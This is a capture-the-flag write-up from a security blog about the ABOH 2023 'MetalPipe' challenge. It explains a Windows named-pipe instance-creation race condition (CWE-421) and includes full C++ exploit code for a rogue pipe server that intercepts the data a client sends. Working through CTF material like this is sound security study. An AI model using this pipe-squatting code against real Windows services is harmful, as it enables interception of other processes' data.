Casual McDonald's Employee Scriptorium
BlogMemesGitHubAbout
  • root@JesusCries
  • ⛩️Red Teaming
    • Methodology
    • Red Team Infrastructure
    • Initial Access
    • Reconnaissance
    • Lateral Movement
    • Post-Exploitation
      • Credentials Dumping
    • Persistence
    • Evasion
      • Memory Scanner
      • Antimalware Scan Interface (AMSI)
      • Event Tracing for Windows (ETW)
      • Attack Surface Reduction (ASR)
      • Microsoft Windows Defender Application Control (WDAC)
      • EDR Evasion
    • Offensive Development
      • Process Injection & Shellcode Loader
      • Portable Executable (PE) Loader
      • User Defined Reflective Loader
      • Beacon Object Files
    • Command & Control (C2)
      • Cobalt Strike
      • Havoc
      • Mythic
      • Sliver
    • Miscellaneous
      • Interesting Read
      • Certification Reviews
        • Certified Red Team Lead (CRTL)
  • 🧊Active Directory & Pentest
    • Check List
  • 🚩CTF Writeups
    • Reverse Engineering
      • Wargames.MY 2024: World 3
      • Wargames.MY 2023: Defeat the boss!
      • ACS 2023: Licrackense Pt I
      • ACS 2023: babyrev
      • ACS 2023: expr
      • ACS 2023: rustarm
      • ACS 2023: Maze
      • SiberSiaga 2023: Obstacles
      • SiberSiaga 2023: Packed
      • SiberSiaga 2023: Malbot
      • SiberSiaga 2023: Vacine
      • ABOH 2023: MetalPipe
      • ABOH 2023: Grape
      • iCTF 2023: RemoteC4
    • Binary Exploitation
      • HTB Cyber Apocalypse 2024: SoundOfSilence
      • LACTF 2024: pizza
      • ACS 2023: Licrackense Pt II
      • ACS 2023: Shellcoding Test
      • ACS 2023: Coding Test
      • ACS 2023: register
      • Wargames.MY 2023: Pak Mat Burger
      • SiberSiaga 2023: Password Generator
      • NahamCON CTF 2023: nahmnahmnahm
      • NahamCON CTF 2023: Weird Cookie
      • TJCTF 2023: shelly
      • TJCTF 2023: formatter
      • ångstromCTF 2023: gaga2
      • ångstromCTF 2023: leek
      • Space Heroes 2023: Rope Dancer
      • corCTF 2022: babypwn
      • corCTF 2021: Cshell
      • HTB Cyber Apocalypse 2023: Void
      • HTB Cyber Santa CTF 2021: minimelfistic
      • HTB Challenge: pwnshop
  • 🤡Clown Chronicles
    • About Me
    • Blogs
      • How to Win A CTF by Overcomplicating Things
      • Exploring Dynamic Invocation for Process Injection in C# and Rust
    • Projects
    • Memes
    • Others
Powered by GitBook
On this page
  • Disclaimer
  • Learning Lessons
  • Challenge Overview
  • Attack Surface
  • Exploitation
  • Exploit Code
  1. CTF Writeups
  2. Reverse Engineering

ABOH 2023: MetalPipe

This is not a typical ReverseMe binary. You will need to write a malicious application to weaponize the bug.

PreviousSiberSiaga 2023: VacineNextABOH 2023: Grape

Last updated 1 year ago

Disclaimer

This writeup is written from the author's perspective to showcase the challenge design, and may or may not reflect the typical approach or methodology involved to solve the challenge.

Learning Lessons

Named Pipes are traditionally used for Inter-Process Communication (IPC) and store data on a First-In-First-Out (FIFO) basis. The main idea is that, named pipes are initialized as a shared memory space by the Windows Operating System, which allows any process to access it without any form of authentication, as long as the attacker knows the pipe name. The nature of this makes it vulnerable to Race Condition vulnerabilities.

Challenge Overview

Running the executable shows that it is establishing some kind of connection at a constant interval.

C:\Users\JesusCries\Desktop>MetalPipe.exe 
Connected
Connected
Connected

NOTE: In named pipe nomenclature, the owner of a named pipe is known as the Server; whereas the entity accessing it is known as the Client. Additionally, a named pipe is treated as a file object after it is created with CreateNamedPipeW; whereas CreateFileW here simply means the Client is accessing the named pipe.

Looking at the decompiled code (symbols renamed for readability), we see signs of client-side code in the main function. On the other hand, server-side code is invoked in a separate thread.

void main(void)

{  
  for (local_24 = 0x2d; -1 < (int)local_24; local_24 = local_24 - 1) {
    ProcessThread(local_20,server_thread);
    Sleep(300);
    iVar1 = FUN_00401520();
    if (iVar1 == 0) {
      iVar1 = FUN_00401580();
      if (iVar1 == 0) {
        hFile = CreateFileW(L"\\\\.\\pipe\\battle-of-hackers",0x40000000,0,
                            (LPSECURITY_ATTRIBUTES)0x0,3,0,(HANDLE)0x0);
        lpOverlapped = (LPOVERLAPPED)0x0;
        lpNumberOfBytesWritten = &local_18;
        nNumberOfBytesToWrite = 1;
        lpBuffer = std::basic_string<>::operator[]((basic_string<> *)&DAT_00407408,local_24);
        WriteFile(hFile,lpBuffer,nNumberOfBytesToWrite,lpNumberOfBytesWritten,lpOverlapped);
        CloseHandle(hFile);
      }
    }
    PlaySoundW((LPCWSTR)0x65,(HMODULE)0x0,0x40004);
  }
  return;
}

Within the server thread, we see that a named pipe with the name \\.\pipe\battle-of-hackers is created and awaits for incoming client connection with the ConnectNamedPipe function.

void server_thread(void)

{
  HANDLE hNamedPipe;
  BOOL BVar1;  
    
  memset(local_808,0,0x800);
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\battle-of-hackers",1,5,0xff,0x800,0x800,20000,
                                (LPSECURITY_ATTRIBUTES)0x0);
  BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
  FUN_004027e0(L"Connected\n",(char)BVar1);
  Sleep(300);
  ReadFile(hNamedPipe,local_808,0x200,(LPDWORD)0x0,(LPOVERLAPPED)0x0);
  CloseHandle(hNamedPipe);
  return;
}

Attack Surface

HANDLE CreateNamedPipeA(
  [in]           LPCSTR                lpName,
  [in]           DWORD                 dwOpenMode,
  [in]           DWORD                 dwPipeMode,
  [in]           DWORD                 nMaxInstances,
  [in]           DWORD                 nOutBufferSize,
  [in]           DWORD                 nInBufferSize,
  [in]           DWORD                 nDefaultTimeOut,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

Cross-referencing the dwOpenMode parameter, we know that the named pipe is initialized in Simplex mode, which allows data to flow from the Client to the Server, but not the other way around.

Mode

Meaning

PIPE_ACCESS_DUPLEX 0x00000003

PIPE_ACCESS_INBOUND 0x00000001

PIPE_ACCESS_OUTBOUND 0x00000002

Additionally, this parameter may also include one or more extra flags such as:

Mode

Meaning

FILE_FLAG_FIRST_PIPE_INSTANCE 0x00080000

If you attempt to create multiple instances of a pipe with this flag, creation of the first instance succeeds, but creation of the next instance fails with ERROR_ACCESS_DENIED.

The core of this challenge depends on the fact that the named pipe was not not initialized with the FILE_FLAG_FIRST_PIPE_INSTANCE flag, leading to an Instance Creation Race Condition. Without this flag, the Server will not throw an error if multiple instances of named pipes with the same name are created at the same time.

Exploitation

You probably see where this is going... Data flowing from Client to Server in a Race Condition scenario means that we can spawn a Rogue Server with the same pipe name and induce/coerce the Client into sending data to us instead of the legitimate Server!

To mount this attack, all we need to do is create a named pipe instance with the right name at the right time and hijack the data flow (flag is in reverse order):

Flag: ABOH{1nst4nc3_cr34710n_r4c3_c0nd1710n_CWE-421}

Exploit Code

#include <Windows.h>
#include <iostream>

using namespace std;
const int MESSAGE_SIZE = 512;
int main()
{
	for (int i = 0; i <= 46; i++) {

		LPCWSTR pwsPipeName = L"\\\\.\\pipe\\battle-of-hackers";
		HANDLE hServerPipe;
		HANDLE hFile = NULL;
		BOOL bSuccess;
		BOOL bPipeRead = TRUE;
		LPWSTR pReadBuf[MESSAGE_SIZE] = { 0 };
		LPDWORD pdwBytesRead = { 0 };

		wprintf(L"[Server] Creating named pipe: %ls\n", pwsPipeName);
		hServerPipe = CreateNamedPipe(
			pwsPipeName,
			PIPE_ACCESS_INBOUND,
			PIPE_TYPE_MESSAGE,
			PIPE_UNLIMITED_INSTANCES, // must be unlimited for attack to work
			2048,
			2048,
			20000,
			NULL
		);

		wprintf(L"[Server] Waiting for incoming connections...\n");
		bSuccess = ConnectNamedPipe(hServerPipe, NULL);
		if (bSuccess) {
			wprintf(L"[Server] Got one connection.\n");
		}
		else wprintf(L"[Server - Error] Code: %d\n", GetLastError());

		Sleep(500);

		if (bPipeRead) {
			wprintf(L"[Server] Reading from pipe...\n");
			bPipeRead = ReadFile(hServerPipe, pReadBuf, MESSAGE_SIZE, pdwBytesRead, NULL);
			if (!bPipeRead) {
				wprintf(L"[Server] Done reading, exiting for now!");
				exit(1);
			}
			else {
				wprintf(L"[Server] Received: %s\n", pReadBuf);
			}
		}
		CloseHandle(hServerPipe);
	}
	return 0;
}

This challenge is inspired by the flaw.

To understand the properties of a named pipe, we'll have to cross-reference parameters used in Named Pipe creation with .

The pipe is bi-directional; both server and client processes can read from and write to the pipe. This mode gives the server the equivalent of GENERIC_READ and GENERIC_WRITE access to the pipe. The client can specify GENERIC_READ or GENERIC_WRITE, or both, when it connects to the pipe using the function.

The flow of data in the pipe goes from client to server only. This mode gives the server the equivalent of GENERIC_READ access to the pipe. The client must specify GENERIC_WRITE access when connecting to the pipe. If the client must read pipe settings by calling the or functions, the client must specify GENERIC_WRITE and FILE_READ_ATTRIBUTES access when connecting to the pipe.

The flow of data in the pipe goes from server to client only. This mode gives the server the equivalent of GENERIC_WRITE access to the pipe. The client must specify GENERIC_READ access when connecting to the pipe. If the client must change pipe settings by calling the function, the client must specify GENERIC_READ and FILE_WRITE_ATTRIBUTES access when connecting to the pipe.

🚩
CWE-421: Race Condition During Access to Alternate Channel
MSDN
CreateFile
GetNamedPipeInfo
GetNamedPipeHandleState
SetNamedPipeHandleState